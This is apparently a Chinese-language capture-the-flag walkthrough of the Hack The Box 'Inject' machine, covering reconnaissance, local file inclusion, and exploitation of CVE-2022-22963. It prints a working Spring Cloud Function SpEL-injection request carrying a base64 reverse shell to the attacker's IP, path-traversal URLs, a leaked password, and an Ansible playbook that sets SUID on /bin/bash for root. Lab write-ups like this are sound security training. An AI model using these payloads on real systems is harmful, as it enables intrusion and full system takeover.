準備:
攻擊機:虛擬機器kali。
靶機:Inject,htb網站:https://www.hackthebox.com/,靶機地址:https://app.hackthebox.com/machines/Inject。
知識點:ansible提權(非漏洞提權)、本地檔案包含漏洞、CVE-2022-22963、敏感資訊發現。
一:資訊收集
1.nmap掃描
使用nmap掃描下埠對應的服務:nmap -T4 -sV -p22,80,8080,3306 -A 10.10.11.204,顯示開放了22埠、8080埠,開啟了ssh服務、http服務。
2.web服務
請求下其8080埠的web服務:http://10.10.11.204:8080/,發現存在檔案上傳的功能點。進行上傳測試時顯示只允許上傳圖片檔案。
二:資訊利用
1.檔案上傳
那就嘗試上傳一個圖片碼,win的cmd中copy即可生成,然後將生成的圖片碼上傳到靶機,顯示上傳成功並可以檢視圖片資訊。
2.本地檔案包含漏洞
然後就嘗試進行命令執行:curl http://10.10.11.204:8080/show_image?img=pass1.jpg?pass=id,意外獲得了檔案的絕對路徑:/var/www/WebApp/src/main/uploads/pass1.jpg。
修改下請求的地址,嘗試訪問下上級目錄發現是可以正常訪問的。
然後就是利用這一直查詢,共發現以下資訊:
系統賬戶:frank、phil
#使用ssh登入時,無法直接登入
phil賬戶的密碼資訊:DocPhillovestoInject123
#命令:curl http://10.10.11.204:8080/show_image?img=../../../../WebApp/pom.xml
依賴資訊:org.springframework.cloud <version>3.2.2</version>
三:CVE-2022-22963漏洞
springframework.cloud版本在3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2時存在一個spel注入漏洞,其編號是cve-2022-22963,該漏洞的利用方式可以在vulhub網站檢視:https://vulhub.org/#/environments/spring/CVE-2022-22963/,利用也較為簡單。使用bp抓取:http://10.10.11.204:8080的資料包並進行修改。
#抓取的資料包
GET / HTTP/1.1
Host: 10.10.11.204:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
#修改後的資料包
#加密資料為base64加密,內容為:bash -i >& /dev/tcp/10.10.14.86/6688 0>&1
#10.10.14.86為本機新增的一個地址
POST /functionRouter HTTP/1.1
Host: 10.10.11.204:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC44Ni82Njg4IDA+JjE=}|{base64,-d}|{bash,-i}")
Content-Type: text/plain
Content-Length: 8
test
然後在kali中開啟對6688埠的監聽,命令:nc -nvlp 6688,然後傳送修改後的資料包,成功獲得shell許可權。
獲得shell許可權後利用上面發現的phil賬戶的密碼資訊:DocPhillovestoInject123切換到phil賬戶,然後在/home/phil目錄下發現user.txt檔案,讀取該檔案成功獲得flag值。
四:提權
1.資訊收集
先是使用sudo -l想檢視下是否存在特權命令,未成功,然後想著查詢下特權檔案,發現了/usr/lib/policykit-1/polkit-agent-helper-1,之前遇到過兩個這樣的漏洞,經過測試均無法利用。
然後就上傳了LinEnum.sh和pspy64進行資訊收集,在pspy64中發現存在定時任務(不太好找,慢慢看,別急),會刪除/opt/automation/tasks目錄下的所有檔案,然後重新將/root/playbook_1.yml複製到/opt/automation/tasks/playbook_1.yml,然後執行/opt/automation/tasks/下的所有檔案。
2.ansible
首先看一下playbook_1.yml的內容與格式,並進行簡單的說明。
- hosts: localhost
tasks:
- name: Checking webapp service
ansible.builtin.systemd:
name: webapp
enabled: yes
state: started
host部分:使用hosts指示使用哪個主機或者主機組來執行下面的tasks,每個playbooks都必須指定hosts,host也可以使用萬用字元格式。
tasks:指定遠端主機將要執行的一系列動作。tasks的核心為ansible的模組,tasks包含name和要執行的模組,name是可選的,只是為了便於使用者閱讀,模組是必須的,同時也要給予模組相應的引數。
然後百度下如何執行命令,結果如下:
3.提權
那我們就按照playbook_1.yml格式,構造一個playbook_2.yml來執行我們需要執行的命令,格式如下:
- hosts: localhost
tasks:
- name: getroot
command: sudo chmod u+s /bin/bash
然後將playbook_2.yml上傳到靶機,等待一會執行bash -p後成功獲得root許可權。
獲得root許可權後在/root目錄下發現root.txt檔案,讀取該檔案成功獲得flag值。